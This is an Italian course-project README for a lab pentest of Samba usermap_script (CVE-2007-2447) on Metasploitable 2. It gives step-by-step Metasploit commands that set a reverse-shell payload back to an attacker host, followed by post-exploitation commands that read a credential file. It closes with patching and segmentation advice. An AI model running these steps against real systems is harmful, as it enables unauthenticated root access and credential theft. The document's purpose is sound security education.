SMB-PenTest-Sfruttamento-di-CVE-2007-2447-su-Metasploitable-2

RedTeam-SMB-PenTest

linux bash

Descrizione

Questo progetto documenta un'attività di penetration testing svolta nell'ambito del corso CMIT 386 presso l'UMGC. L'obiettivo è sfruttare la vulnerabilità usermap_script di Samba SMB (CVE-2007-2447) su Metasploitable 2 utilizzando Metasploit da una VM di attacco Kali Linux. Questa prova di concetto dimostra come una vulnerabilità legacy possa portare alla compromissione totale del sistema, al furto di credenziali e all'esfiltrazione di dati.

Panoramica della vulnerabilità

La vulnerabilità risiede nel servizio Samba sulla porta 445, dove una gestione impropria dell'input nello script username map consente l'esecuzione remota di comandi senza autenticazione. Se sfruttata, consente agli attaccanti di ottenere una shell con privilegi di root.

Ambiente

Passaggi da seguire

1. Avvia Metasploit:

msfconsole

Assicurati che sia la macchina attaccante sia la macchina vittima siano accese e in esecuzione.

2. Cerca l'exploit:

search samba

3. Usa il modulo appropriato:

use exploit/multi/samba/usermap_script

4. Imposta le opzioni richieste:

set RHOST <target_ip>
set LHOST <attacker_ip>
set payload cmd/unix/reverse

5. Esegui l'exploit:

exploit

6. Comandi post-esploitazione:

whoami
hostname
cd /redteam7/student3
cat mypass.txt

Istruzioni di ripristino

Se la sessione si blocca o si interrompe:

Ripristina Metasploit:

# Leave current shell
Ctrl C
exit
# Kill all background jobs
sessions -K             
jobs -K
# Restart Metasploit
msfconsole

Concetti chiave

I servizi legacy come Samba 3.0.20 con usermap_script sono estremamente vulnerabili.
Sfruttare questa vulnerabilità SMB consente di ottenere una shell con privilegi di root.
I dati critici possono essere recuperati con semplici comandi, dimostrando un rischio reale.
Questo dimostra la necessità di applicare patch, segmentare la rete e ridurre l'esposizione dei servizi.

Raccomandazioni

Applica patch o dismetti immediatamente i sistemi legacy.
Implementa una segmentazione di rete rigorosa e regole firewall.
Limita l'esposizione di SMB ai soli utenti interni autenticati.
Monitora i log per attività sospette e movimenti laterali.

VM attaccante	Kali Linux
VM vittima	Metasploitable 2
Porta di destinazione	445 (Samba/SMB)
Exploit utilizzato	`exploit/multi/samba/usermap_script`
Obiettivo credenziali	`/redteam7/student3/mypass.txt`

Più Popolari

SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2